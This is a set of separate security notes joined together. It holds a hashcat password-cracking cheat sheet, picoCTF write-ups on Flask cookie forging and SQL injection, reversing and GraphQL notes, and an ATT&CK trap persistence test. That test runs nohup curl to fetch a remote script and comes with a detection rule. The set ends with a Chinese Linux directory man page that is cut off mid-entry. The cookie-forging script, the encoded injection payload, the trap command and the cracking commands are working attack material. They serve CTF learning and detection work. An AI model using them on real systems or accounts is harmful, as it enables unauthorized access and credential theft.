``` ```bash # 7z(注:hashcat 貌似只能跑加密了文件名的 7z 压缩包,未加密文件名的 7z 压缩包需要用 john 跑) hashcat -m 11600 --force hash.txt pass1.txt MODE: 11600 TYPE: 7-Zip $7z$0$19$0$salt$8$f6196259a7326e3f0000000000000000$185065650$112$98$f3bc2a88062c419a25acd40c0c2d75421cf23263f69c51b13f9b1aada41a8a09f9adeae45d67c60b56aad338f20c0dcc5eb811c7a61128ee0746f922cdb9c59096869f341c7a9cb1ac7bb7d771f546b82cf4e6f11a5ecd4b61751e4d8de66dd6e2dfb5b7d1022d2211e2d66ea1703f96 # 如果在 windows 下的话,记得修改编码为 ANSI # rar hashcat -m 12500 --force hash.txt pass1.txt hashcat -m 13000 --force hash.txt pass1.txt MODE: 12500 TYPE: RAR3-hp $RAR3$*0*45109af8ab5f297a*adbf6c5385d7a40373e8f77d7b89d317 MODE: 13000 TYPE: RAR5 $rar5$16$74575567518807622265582327032280$15$f8b4064de34ac02ecabfe9abdf93ed6a$8$9843834ed0f7c754 # zip hashcat -m 13600 --force hash.txt pass1.txt hashcat -m 17200 --force hash.txt pass1.txt hashcat -m 17210 --force hash.txt pass1.txt hashcat -m 17220 --force hash.txt pass1.txt hashcat -m 17225 --force hash.txt pass1.txt hashcat -m 17230 --force hash.txt pass1.txt hashcat -m 23001 --force hash.txt pass1.txt hashcat -m 23002 --force hash.txt pass1.txt hashcat -m 23003 --force hash.txt pass1.txt MODE: 13600 TYPE: WinZip $zip2$*0*3*0*e3222d3b65b5a2785b192d31e39ff9de*1320*e*19648c3e063c82a9ad3ef08ed833*3135c79ecb86cd6f48fc*$/zip2$ MODE: 17200 TYPE: PKZIP (Compressed) $pkzip2$1*1*2*0*e3*1c5*eda7a8de*0*28*8*e3*eda7*5096*a9fc1f4e951c8fb3031a6f903e5f4e3211c8fdc4671547bf77f6f682afbfcc7475d83898985621a7af9bccd1349d1976500a68c48f630b7f22d7a0955524d768e34868880461335417ddd149c65a917c0eb0a4bf7224e24a1e04cf4ace5eef52205f4452e66ded937db9545f843a68b1e84a2e933cc05fb36d3db90e6c5faf1bee2249fdd06a7307849902a8bb24ec7e8a0886a4544ca47979a9dfeefe034bdfc5bd593904cfe9a5309dd199d337d3183f307c2cb39622549a5b9b8b485b7949a4803f63f67ca427a0640ad3793a519b2476c52198488e3e2e04cac202d624fb7d13c2*$/pkzip2$ MODE: 17210 TYPE: PKZIP (Uncompressed) $pkzip2$1*1*2*0*1d1*1c5*eda7a8de*0*28*0*1d1*eda7*5096*1dea673da43d9fc7e2be1a1f4f664269fceb6cb88723a97408ae1fe07f774d31d1442ea8485081e63f919851ca0b7588d5e3442317fff19fe547a4ef97492ed75417c427eea3c4e146e16c100a2f8b6abd7e5988dc967e5a0e51f641401605d673630ea52ebb04da4b388489901656532c9aa474ca090dbac7cf8a21428d57b42a71da5f3d83fed927361e5d385ca8e480a6d42dea5b4bf497d3a24e79fc7be37c8d1721238cbe9e1ea3ae1eb91fc02aabdf33070d718d5105b70b3d7f3d2c28b3edd822e89a5abc0c8fee117c7fbfbfd4b4c8e130977b75cb0b1da080bfe1c0859e6483c42f459c8069d45a76220e046e6c2a2417392fd87e4aa4a2559eaab3baf78a77a1b94d8c8af16a977b4bb45e3da211838ad044f209428dba82666bf3d54d4eed82c64a9b3444a44746b9e398d0516a2596d84243b4a1d7e87d9843f38e45b6be67fd980107f3ad7b8453d87300e6c51ac9f5e3f6c3b702654440c543b1d808b62f7a313a83b31a6faaeedc2620de7057cd0df80f70346fe2d4dccc318f0b5ed128bcf0643e63d754bb05f53afb2b0fa90b34b538b2ad3648209dff587df4fa18698e4fa6d858ad44aa55d2bba3b08dfdedd3e28b8b7caf394d5d9d95e452c2ab1c836b9d74538c2f0d24b9b577*$/pkzip2$ MODE: 17220 TYPE: PKZIP (Compressed Multi-File) $pkzip2$3*1*1*0*8*24*a425*8827*d1730095cd829e245df04ebba6c52c0573d49d3bbeab6cb385b7fa8a28dcccd3098bfdd7*1*0*8*24*2a74*882a*51281ac874a60baedc375ca645888d29780e20d4076edd1e7154a99bde982152a736311f*2*0*e3*1c5*eda7a8de*0*29*8*e3*eda7*5096*1455781b59707f5151139e018bdcfeebfc89bc37e372883a7ec0670a5eafc622feb338f9b021b6601a674094898a91beac70e41e675f77702834ca6156111a1bf7361bc9f3715d77dfcdd626634c68354c6f2e5e0a7b1e1ce84a44e632d0f6e36019feeab92fb7eac9dda8df436e287aafece95d042059a1b27d533c5eab62c1c559af220dc432f2eb1a38a70f29e8f3cb5a207704274d1e305d7402180fd47e026522792f5113c52a116d5bb25b67074ffd6f4926b221555234aabddc69775335d592d5c7d22462b75de1259e8342a9ba71cb06223d13c7f51f13be2ad76352c3b8ed*$/pkzip2$ MODE: 17225 TYPE: PKZIP (Mixed Multi-File) $pkzip2$3*1*1*0*0*24*3e2c*3ef8*0619e9d17ff3f994065b99b1fa8aef41c056edf9fa4540919c109742dcb32f797fc90ce0*1*0*8*24*431a*3f26*18e2461c0dbad89bd9cc763067a020c89b5e16195b1ac5fa7fb13bd246d000b6833a2988*2*0*23*17*1e3c1a16*2e4*2f*0*23*1e3c*3f2d*54ea4dbc711026561485bbd191bf300ae24fa0997f3779b688cdad323985f8d3bb8b0c*$/pkzip2$ MODE: 17230 TYPE: PKZIP (Compressed Multi-File Checksum-Only) $pkzip2$8*1*1*0*8*24*a425*8827*3bd479d541019c2f32395046b8fbca7e1dca218b9b5414975be49942c3536298e9cc939e*1*0*8*24*2a74*882a*537af57c30fd9fd4b3eefa9ce55b6bff3bbfada237a7c1dace8ebf3bb0de107426211da3*1*0*8*24*2a74*882a*5f406b4858d3489fd4a6a6788798ac9b924b5d0ca8b8e5a6371739c9edcfd28c82f75316*1*0*8*24*2a74*882a*1843aca546b2ea68bd844d1e99d4f74d86417248eb48dd5e956270e42a331c18ea13f5ed*1*0*8*24*2a74*882a*aca3d16543bbfb2e5d2659f63802e0fa5b33e0a1f8ae47334019b4f0b6045d3d8eda3af1*1*0*8*24*2a74*882a*fbe0efc9e10ae1fc9b169bd060470bf3e39f09f8d83bebecd5216de02b81e35fe7e7b2f2*1*0*8*24*2a74*882a*537886dbabffbb7cac77deb01dc84760894524e6966183b4478a4ef56f0c657375a235a1*1*0*8*24*eda7*5096*40eb30ef1ddd9b77b894ed46abf199b480f1e5614fde510855f92ae7b8026a11f80e4d5f*$/pkzip2$ MODE: 23001 TYPE: SecureZIP AES-128 $zip3$*0*1*128*0*b4630625c92b6e7848f6fd86*df2f62611b3d02d2c7e05a48dad57c7d93b0bac1362261ab533807afb69db856676aa6e350320130b5cbf27c55a48c0f75739654ac312f1cf5c37149557fc88a92c7e3dde8d23edd2b839036e88092a708b7e818bf1b6de92f0efb5cce184cceb11db6b3ca0527d0bdf1f1137ee6660d9890928cd80542ac1f439515519147c14d965b5ba107c6227f971e3e115170bf*0*0*0*file.txt MODE: 23002 TYPE: SecureZIP AES-192 $zip3$*0*1*192*0*53ff2de8c280778e1e0ab997*603eb37dbab9ea109e2c405e37d8cae1ec89e1e0d0b9ce5bf55d1b571c343b6a3df35fe381c30249cb0738a9b956ba8e52dfc5552894296300446a771032776c811ff8a71d9bb3c4d6c37016c027e41fea2d157d5b0ce17804b1d7c1606b7c1121d37851bd705e001f2cd755bbf305966d129a17c1d48ff8e87cfa41f479090cd456527db7d1d43f9020ad8e73f851a5*0*0*0*file.txt MODE: 23003 TYPE: SecureZIP AES-256 $zip3$*0*1*256*0*39bff47df6152a0214d7a967*65ff418ffb3b1198cccdef0327c03750f328d6dd5287e00e4c467f33b92a6ef40a74bb11b5afad61a6c3c9b279d8bd7961e96af7b470c36fc186fd3cfe059107021c9dea0cf206692f727eeca71f18f5b0b6ee1f702b648bba01aa21c7b7f3f0f7d547838aad46868155a04214f22feef7b31d7a15e1abe6dba5e569c62ee640783bb4a54054c2c69e93ece9f1a2af9d*0*0*0*file.txt ``` --- ### 爆破 office > 注意: AMD 显卡不支持该项爆破 ```bash python /usr/share/john/office2john.py xxx.docx ``` ```bash hashcat -m 9600 hash.txt pass1.txt MODE: 9400 TYPE: MS Office 2010 $office$*2007*20*128*16*411a51284e0d0200b131a8949aaaa5cc*117d532441c63968bee7647d9b7df7d6*df1d601ccf905b375575108f42ef838fb88e1cde MODE: 9500 TYPE: MS Office 2010 $office$*2010*100000*128*16*77233201017277788267221014757262*b2d0ca4854ba19cf95a2647d5eee906c*e30cbbb189575cafb6f142a90c2622fa9e78d293c5b0c001517b3f5b82993557 MODE: 9600 TYPE: MS Office 2013 $office$*2013*100000*256*16*7dd611d7eb4c899f74816d1dec817b3b*948dc0b2c2c6c32f14b5995a543ad037*0b7ee0e48e935f937192a59de48a7d561ef2691d5c8a3ba87ec2d04402a94895 MODE: 9700 TYPE: MS Office ⇐ 2003 MD5 + RC4, oldoffice$0, oldoffice$1 $oldoffice$1*04477077758555626246182730342136*b1b72ff351e41a7c68f6b45c4e938bd6*0d95331895e99f73ef8b6fbc4a78ac1a MODE: 9710 TYPE: MS Office ⇐ 2003 $0/$1, MD5 + RC4, collider #1 $oldoffice$0*55045061647456688860411218030058*e7e24d163fbd743992d4b8892bf3f2f7*493410dbc832557d3fe1870ace8397e2 MODE: 9720 TYPE: MS Office ⇐ 2003 $0/$1, MD5 + RC4, collider #2 MODE: 9800 TYPE: MS Office ⇐ 2003 SHA1 + RC4, oldoffice$3, oldoffice$4 $oldoffice$3*83328705222323020515404251156288*2855956a165ff6511bc7f4cd77b9e101*941861655e73a09c40f7b1e9dfd0c256ed285acd MODE: 9810 TYPE: MS Office ⇐ 2003 $3, SHA1 + RC4, collider #1 $oldoffice$3*83328705222323020515404251156288*2855956a165ff6511bc7f4cd77b9e101*941861655e73a09c40f7b1e9dfd0c256ed285acd MODE: 9820 TYPE: MS Office ⇐ 2003 $3, SHA1 + RC4, collider #2 $oldoffice$3*83328705222323020515404251156288*2855956a165ff6511bc7f4cd77b9e101*941861655e73a09c40f7b1e9dfd0c256ed285acd:b8f63619ca ``` --- ### 爆破 md5 ```bash # 16位的MD5 hashcat -m 5100 AC59075B964B0715 -a 3 ?d?d?d?d?d?d # MD5规则是7位数字 hashcat -m 0 25c3e88f81b4853f2a8faacad4c871b6 -a 3 ?d?d?d?d?d?d?d # MD5规则是7位小写字母 hashcat -m 0 7a47c6db227df60a6d67245d7d8063f3 -a 3 ?l?l?l?l?l?l?l # MD5规则是1-8位数字 hashcat -m 0 4488cec2aea535179e085367d8a17d75 -a 3 --increment --increment-min 1 --increment-max 8 ?d?d?d?d?d?d?d?d # MD5规则是1-8位小写字母+数字 hashcat -m 0 ab65d749cba1656ca11dfa1cc2383102 -a 3 --increment --increment-min 1 --increment-max 8 ?h?h?h?h?h?h?h?h # MD5规则是 clearlove + 任意2位字符 + 3位纯数字 hashcat -m 0 7276bf625a8c5e65b9e5966bed63bce0 -a 3 clearlove?a?a?d?d?d # MD5规则是特定字符集:123456abcdf!@+- hashcat -m 0 8b78ba5089b11326290bc15cf0b9a07d -a 3 -1 123456abcdf!@+- ?1?1?1?1?1 > 注意:这里的-1和?1是数字1,不是字母l # MD5规则是1-8位,符集集:123456abcdf!@+- hashcat -m 0 9054fa315ce16f7f0955b4af06d1aa1b -a 3 -1 123456abcdf!@+- --increment --increment-min 1 --increment-max 8 ?1?1?1?1?1?1?1?1 # MD5规则是1-8位数字+大小写字母+可见特殊符号 hashcat -m 0 d37fc9ee39dd45a7717e3e3e9415f65d -a 3 -1 ?d?u?l?s --increment --increment-min 1 --increment-max 8 ?1?1?1?1?1?1?1?1 或者: hashcat -m 0 d37fc9ee39dd45a7717e3e3e9415f65d -a 3 --increment --increment-min 1 --increment-max 8 ?a?a?a?a?a?a?a?a # MD5规则是32位的01组合数字 hashcat -m 0 4c753d89d239bb17b8d754ff981c7772 -a 3 -3 01 ?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3 ``` --- ### 批量破解 ```bash hashcat -a 0 hash.txt password.txt -o result.txt ``` --- ### 爆破 sha256 破解一个原文8个字符的sha256,已知前5个字符。 ``` hashcat64 -a 3 --hex-salt -m 1420 b9f5a36134ba3b3b9a41c3ee519899f39fd85f231d9cb2d6c34415fcebe0aa8c:13a03f1f32 --potfile-disable ?b?b?b -o res3.txt --outfile-format=2 --force ``` --- ### 爆破 jwt > 16500 ```bash echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.y3kjst36zujMF4HssVk3Uqxf_3bzumNAvOB9N0_uRV4" > hash.txt echo "secret123" > pass1.txt hashcat -m 16500 hash.txt pass1.txt ``` --- ### 爆破 BCrypt > 3200 ```bash echo '$2a$05$LhayLxezLhK1LhWvKxCyLOj0j1u.Kj0jZ0pEmm134uzrQlFvQJLF6' > hash.txt echo "hashcat" > pass1.txt hashcat -m 3200 hash.txt pass1.txt ``` --- ## 更多实验 ### 阿里云按量-抢占式实例-NVIDIA T4-跑 Hashcat **注意点** - 抢占式实例一次只能买1小时,切记1小时 - 实例创建完后需要装对应的 NVIDIA 驱动 - -f 测试的跑分速度很完美,但实际跑的时候速度是达不到的 **优点** - 相对便宜,实际用起来一小时不到2元,感觉像在用 vultr - 性能强 **过程** - 付费模式选择 `抢占式实例` - 实例类型选择 `异构计算 GPU/FPGA/NPU` - 分类选择 `GPU 计算型` CPU和内存可以不用考虑,主要是选个好的 GPU,这里可以看到有 NVIDIA T4 和 NVIDIA P4 两种选择 这里选择 T4 便宜一点 镜像选择 `Alibaba Cloud Linux` 这个兼容 centos,用起来没啥问题 下一步网络选择 建议使用按固定带宽收费,你跑 hashcat 其实用不了多少流量, `带宽峰值` 直接拉到 100M 创建完实例后,SSH连接,这里略 安装 hashcat,如果嫌速度慢,可以自己通过 lrzsz 的方式传上去 ```bash mkdir /pentest && cd $_ wget https://hashcat.net/files/hashcat-6.1.1.7z 7z x hashcat-6.1.1.7z && rm -rf hashcat-6.1.1.7z cd hashcat-6.1.1 && chmod +x hashcat.bin && cp hashcat.bin hashcat ln -s /pentest/hashcat-6.1.1/hashcat /usr/sbin/hashcat ``` 安装显卡驱动 去 NVDIA driver search page 查看支持显卡的驱动最新版本及下载,下载之后是 .run 后缀 安装时一路回车即可,装完之后输入 nvidia-smi ```bash wget https://cn.download.nvidia.com/tesla/450.80.02/NVIDIA-Linux-x86_64-450.80.02.run sh NVIDIA-Linux-x86_64-450.80.02.run -no-x-check -no-nouveau-check -no-opengl-files nvidia-smi ``` 然后就可以愉快的跑 hashcat 了 ```bash hashcat -b --force ``` --- ### hashtopolis分布式服务 项目地址 : https://github.com/hashtopolis/server #### Server > Ubuntu18.04 ```bash apt update apt install -y mysql-server apt install -y apache2 apt install -y libapache2-mod-php php-mysql php php-gd php-pear php-curl apt install -y git unzip lrzsz mysql_secure_installation mysql -u root CREATE DATABASE hashtopolis; CREATE USER 'hashtopolis'@'localhost' IDENTIFIED BY 'hashtopolis'; GRANT ALL PRIVILEGES ON hashtopolis.* TO 'hashtopolis'@'localhost'; FLUSH PRIVILEGES; EXIT; cd /var/www git clone https://github.com/s3inlc/hashtopolis cd hashtopolis ``` ```bash nano /etc/apache2/sites-available/000-default.conf <VirtualHost *:80> DocumentRoot /var/www/hashtopolis/src </VirtualHost> <Directory /var/www/hashtopolis/src> AllowOverride ALL </Directory> ``` ```bash nano /etc/php/7.2/apache2/php.ini memory_limit = 512M upload_max_filesize = 500M post_max_size = 500M ``` ```bash chown -R www-data:www-data /var/www/hashtopolis service apache2 restart ``` 访问 127.0.0.1 输入数据库配置 ``` 地址 localhost 账号 hashtopolis 密码 hashtopolis 库 hashtopolis ``` 创建账号 ``` test test@1.com test test ``` #### Agent > Debian 下载服务器端的 hashtopolis.zip 服务端添加一个新的 voucher 客户端运行 hashtopolis ``` apt update apt install -y python3-pip python3 -m pip install psutil requests python3 hashtopolis.zip ``` #### 使用 - https://www.youtube.com/watch?v=A1QrUVy7UZ0
sec-knowleage
# Most Cookies Category: Web, 150 points ## Description > Alright, enough of using my own encryption. Flask session cookies should be plenty secure! ```python from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session import random app = Flask(__name__) flag_value = open("./flag").read().rstrip() title = "Most Cookies" cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] app.secret_key = random.choice(cookie_names) @app.route("/") def main(): if session.get("very_auth"): check = session["very_auth"] if check == "blank": return render_template("index.html", title=title) else: return make_response(redirect("/display")) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp @app.route("/search", methods=["GET", "POST"]) def search(): if "name" in request.form and request.form["name"] in cookie_names: resp = make_response(redirect("/display")) session["very_auth"] = request.form["name"] return resp else: message = "That doesn't appear to be a valid cookie." category = "danger" flash(message, category) resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp @app.route("/reset") def reset(): resp = make_response(redirect("/")) session.pop("very_auth", None) return resp @app.route("/display", methods=["GET"]) def flag(): if session.get("very_auth"): check = session["very_auth"] if check == "admin": resp = make_response(render_template("flag.html", value=flag_value, title=title)) return resp flash("That is a cookie! Not very special though...", "success") return render_template("not-flag.html", title=title, cookie_name=session["very_auth"]) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp if __name__ == "__main__": app.run() ``` ## Solution From the server source code we can see that if we want to get the flag, we need to access the `/display` endpoint with our cookie containing `very_auth=admin`. However, `very_auth` is set by the `/search` endpoint to a cookie name, as long as the name exists in the `cookie_names` whitelist. Flask session cookies are integrity-protected using a secret key, so we can't just change them. However, we can see that the application's secret key is chosen from a list of known cookie names: ```python cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] app.secret_key = random.choice(cookie_names) ``` Let's get our hands on a valid session cookie: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Most_Cookies] └─$ curl 'http://mercury.picoctf.net:18835/search' --data-raw 'name=snickerdoodle' -v -s 2>&1 | grep Set-Cookie < Set-Cookie: session=eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.YGjJkQ.5t60jNE5kbjq2cv4ieuRUpjyA40; HttpOnly; Path=/ ``` We can use [this module](https://gist.github.com/aescalana/7e0bc39b95baa334074707f73bc64bfe#file-manageflasksession-py) to decode it. We just need to try all cookie names and see which one decodes successfully. ```python import manageFlaskSession import requests from unittest.mock import patch, mock_open with patch("builtins.open", mock_open(read_data="dummy_flag")): import server res = requests.post("http://mercury.picoctf.net:18835/search", data={"name": "snickerdoodle"}) server_cookie = res.cookies["session"] print(f"Server cookie: {server_cookie}") for cookie in server.cookie_names: try: out = manageFlaskSession.decodeFlaskCookie(cookie, server_cookie) print(f"Found correct key: {cookie}, contents = {out}") break except Exception: pass ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Most_Cookies] └─$ python3 solve.py Server cookie: eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.YGjMHg.IOhGVuvfk-x0iqZp-fKP5H7pQWc Found correct key: butter, contents = {'very_auth': 'snickerdoodle'} ``` Now that we have the key, we can also modify the cookie to contain "admin" and send it back: ```python import manageFlaskSession import requests import re from unittest.mock import patch, mock_open with patch("builtins.open", mock_open(read_data="dummy_flag")): import server res = requests.post("http://mercury.picoctf.net:18835/search", data={"name": "snickerdoodle"}) server_cookie = res.cookies["session"] print(f"Server cookie: {server_cookie}") for cookie in server.cookie_names: try: out = manageFlaskSession.decodeFlaskCookie(cookie, server_cookie) print(f"Found correct key: {cookie}, contents = {out}") new_cookie = manageFlaskSession.encodeFlaskCookie(cookie, {u'very_auth': 'admin'}) print(f"New cookie: {new_cookie}") res = requests.get("http://mercury.picoctf.net:18835/display", cookies={"session": new_cookie}) if match := re.search(r"picoCTF{[^}]+}", res.text): print (f"The flag: {match.group(0)}") break except Exception: pass ``` Output: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Most_Cookies] └─$ python3 solve.py Server cookie: eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.YGjPaw.bi82UV-0iMOYsKQycz4FHMQxTIc Found correct key: butter, contents = {'very_auth': 'snickerdoodle'} New cookie: eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.YGjPbA.8CsOkSIjd1F5RwYPHwph3OJezN8 The flag: picoCTF{pwn_4ll_th3_cook1E5_743c20eb} ``` The flag: `picoCTF{pwn_4ll_th3_cook1E5_743c20eb}`
sec-knowleage
# HITCON CTF 2020 ### Table of contents * [11011001 (re)](11011001) * [Run Run Run! (re)](run_run_run) * [SOP (re)](sop)
sec-knowleage
# T1154-linux-trap ## 来自ATT&CK的描述 该`trap`命令允许程序和shell指定在接收中断信号时将执行的命令。常见的情况是脚本允许正常终止和处理常见的键盘中断,如`ctrl+c`和`ctrl+d`。攻击者可以使用它来注册当shell遇到特定中断以执行或作为持久性机制时要执行的代码。陷阱命令具有以下格式`trap 'command list' signals`,其中当接收到“信号”时将执行“命令列表”。 ## 测试案例 ```bash trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh # 脚本即使在退出后(ctrl + c)也会继续执行程序/脚本。 trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh ``` 关于trap、nohup命令的更多解释,你可以查看参考链接部分。 ## 检测日志 bash历史命令 ## 测试复现 ```bash icbc@icbc:/$ trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh > ^C ``` ## 测试留痕 ```bash icbc@icbc:/$ history 693 trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh ``` ## 检测规则/思路 ### splunk规则 index=linux sourcetype=bash_history "trap *" | table host,user_name,bash_command ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1154 <https://attack.mitre.org/techniques/T1154/> linux下trap命令详解 <https://blog.csdn.net/carolzhang8406/article/details/46504415/> linux下nohup命令浅析 <https://www.bbsmax.com/A/kjdw9606JN/>
sec-knowleage
# CyberTank Window Controller Reversing ## Password (100 points) > CyberTank has such secure car windows that they require a password! Can you find out what the password is? > > Flag format: CTF{xx_xx_xx} An executable was attached. ```console user@CTF_PC:/mnt/e/CTFs/hackazon$ file CyberTankWindowApp.exe CyberTankWindowApp.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows ``` When we run it, we get a simple application which controls the CyberTank windows: ![](images/window_app.png) We need to provide the password. Since this is a .NET application, we can try to decompile it with `ILSpy`. Under CyberTankWindowApp (1.0.0.0) -> CyberTankWindowApp -> App we find a method called `CheckPassword`: ```csharp // CyberTankWindowApp.App using System.Windows.Forms; private bool CheckPassword() { if (textBox1.Text != "CTF{" + pt2 + "_" + pt1 + "_" + pt3 + "}") { MessageBox.Show("Wrong password :(", "CyberTank Window Controller", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); return false; } return true; } ``` We follow `pt2`, `pt1` and `pt3` to get: ```csharp private string pt2 = "window"; private string pt1 = "reverse"; private string pt3 = "control"; ``` The flag therefore is: `CTF{window_reverse_control}`.
sec-knowleage
# Irish-Name-Repo 3 Web Exploitation, 400 points ## Description: > There is a secure website running at http://2019shell1.picoctf.com:12271. Try to see if you can login as admin! ## Solution: The website offered an admin login page: ```html <form action="login.php" method="POST"> <fieldset> <div class="form-group"> <label for="username">Username:</label> <input type="text" id="username" name="username" class="form-control"> </div> <div class="form-group"> <label for="password">Password:</label> <div class="controls"> <input type="password" id="password" name="password" class="form-control"> </div> </div> <input type="hidden" name="debug" value="0"> <div class="form-actions"> <input type="submit" value="Login" class="btn btn-primary"> </div> </fieldset> </form> ``` The solution from the [Irish-Name-Repo_1](Irish-Name-Repo_1.md) and [Irish-Name-Repo_2](Irish-Name-Repo_2.md) didn't work anymore. Using the debug interface, we can inspect the SQL query: ```console root@kali:/media/sf_CTFs/pico/Irish-Name-Repo_3# curl "https://2019shell1.picoctf.com/problem/12271/login.php" --data "password=test&debug=1" <pre>password: test SQL query: SELECT * FROM admin where password = 'grfg' </pre><h1>Login failed.</h1> ``` It looks like the password was somehow encrypted. Given the fact that `t` was replaced with `g` twice, this might be a substitution cipher. Let's try a simple injection: ```console root@kali:/media/sf_CTFs/pico/Irish-Name-Repo_3# curl "https://2019shell1.picoctf.com/problem/12271/login.php" --data "password=' or 1=1--&debug=1" <pre>password: ' or 1=1-- SQL query: SELECT * FROM admin where password = '' be 1=1--' </pre> ``` Now let's try again, sending `be` instead of `or`: ```console root@kali:/media/sf_CTFs/pico/Irish-Name-Repo_3# curl "https://2019shell1.picoctf.com/problem/12271/login.php" --data "password=' be 1=1--&debug=1" && echo <pre>password: ' be 1=1-- SQL query: SELECT * FROM admin where password = '' or 1=1--' </pre><h1>Logged in!</h1><p>Your flag is: picoCTF{3v3n_m0r3_SQL_ef7eac2f}</p> ```
sec-knowleage
# BugDB v1 - FLAG0 ## 0x00 Overview Very direct and easy CTF. The purpose is more like taking a tour of Graphql. ## 0x01 FLAG The left side is the QUERY and the RIGHT side is results. There is also a very clear structure of data at very right side for reference. So just make a query to loop through all the details of the data set. ```graphql query{ user { edges { node { id username bugs { pageInfo { startCursor endCursor } edges { cursor node { id reporterId text private reporter { id } } } } } } } } ``` And here comes the flag. ![](./imgs/flag.jpg)
sec-knowleage
.\" (c) 1993 by Thomas Koenig (ig25@rz.uni-karlsruhe.de) .\" Chinese Version Copyright LetBright, www.linuxforum.net, 2000 .\" .\" Permission is granted to make and distribute verbatim copies of this .\" manual provided the copyright notice and this permission notice are .\" preserved on all copies. .\" .\" Permission is granted to copy and distribute modified versions of this .\" manual under the conditions for verbatim copying, provided that the .\" entire resulting derived work is distributed under the terms of a .\" permission notice identical to this one .\" .\" Since the Linux kernel and libraries are constantly changing, this .\" manual page may be incorrect or out-of-date. The author(s) assume no .\" responsibility for errors or omissions, or for damages resulting from .\" the use of the information contained herein. The author(s) may not .\" have taken the same level of care in the production of this manual, .\" which is licensed free of charge, as they might when working .\" professionally. .\" .\" Formatted or processed versions of this manual, if unaccompanied by .\" the source, must acknowledge the copyright and authors of this work. .\" License. .\" Modified Sun Jul 25 11:05:58 1993 by Rik Faith (faith@cs.unc.edu) .\" Modified Sat Feb 10 16:18:03 1996 by Urs Thuermann (urs@isnogud.escape.de) .\" Modified Mon Jun 16 20:02:00 1997 by Nicol醩 Lichtmaier .\" Modified Mon Feb 6 16:41:00 1999 by Nicol醩 Lichtmaier .\" Modified Tue Feb 8 16:46:45 2000 by Chris Pepper .\" 中文版 Copyright (c) 2000 LetBright 和 www.linuxforum.net .TH HIER 7 "June 16, 1997" "Linux" "Linux Programmer's Manual" .SH NAME 名称 hier \- 文件系统描述 .SH DESCRIPTION 描述 一个典型的Linux系统具有以下几个目录: .TP .I / 根目录,是所有目录树开始的地方。 .TP .I /bin 此目录下包括了单用户方式及系统启动或修复所用到的所有执行程序。 .TP .I /boot 包括了引导程序的静态文件。此目录下包括了在引导过程中所必需的文件。 系统装载程序及配制文件在 .I /sbin 和 .IR /etc 目录中找到。 .TP .I /dev 对应物理设备的指定文件或驱动程序。参见mknod(1)。 .TP .I /dos 如果MS\-DOS和Linux共存于一台计算机时,这里通常用于存放DOS 文件系统。 .TP .I /etc 用于存放本地机的配置文件。一些大型软件包,如X11,在 .IR /etc 下有它们自己的子目录。系统配置文件可以放在这里或在 .IR /usr/etc。 不过所有程序总是在 .BR /etc 目录下查找所需的配置文件,你也可以将这些文件连结到目录 .IR /usr/etc . .TP .I /etc/skel 当建立一个新用户帐号时,此目录下的文件通常被复制到用户的主目录下。 .TP .I /etc/X11 X11 window system所需的配置文件。 .TP .I /home 在Linux机器上,用户主目录通常直接或间接地置在此目录下。其结构通 常由本地机的管理员来决定。 .TP .I /lib 此目录下包含系统引导和在根用户执行命令所必需用到的共享库。 .TP .I /mnt 挂载临时文件系统的挂载点。 .TP .I /proc 这是提供运行过程和核心文件系统 .BR proc 挂载点。这一"伪"文件系统在以下章节中有详细叙述 .BR proc (5)。 .TP .I /sbin 类似于 .IR /bin 此目录保存了系统引导所需的命令,但这些命令一般用户不能执行。 .TP .I /tmp 此目录用于保存临时文件,临时文件在日常维护或在系统启动时无需通知便 可删除 .TP .I /usr 此目录通常用于从一个独立的分区上挂载文件。它应保存共享只读类文件, 这样它可以被运行Linux的不同主机挂载。 .TP .I /usr/X11R6 X\-Window系统 Version 11 release 6. .TP .I /usr/X11R6/bin X\-Windows系统使用的二进制文件;通常是在对更传统的 .BR /usr/bin/X11 中文件的符号连接。 .TP .I /usr/X11R6/lib 保存与X\-Windows系统有关数据文件。 .TP .I /usr/X11R6/lib/X11 此目录保存与运行X\-Windows系统有关其他文件。通常是对来自 .BR /usr/lib/X11 中文件的符号连接。 .TP .I /usr/X11R6/include/X11 此目录保存包括使用X11视窗系统进行编译程序所需的文件。通常是对来自 .BR /usr/lib/X11 中文件的符号连接。 .TP .I /usr/bin 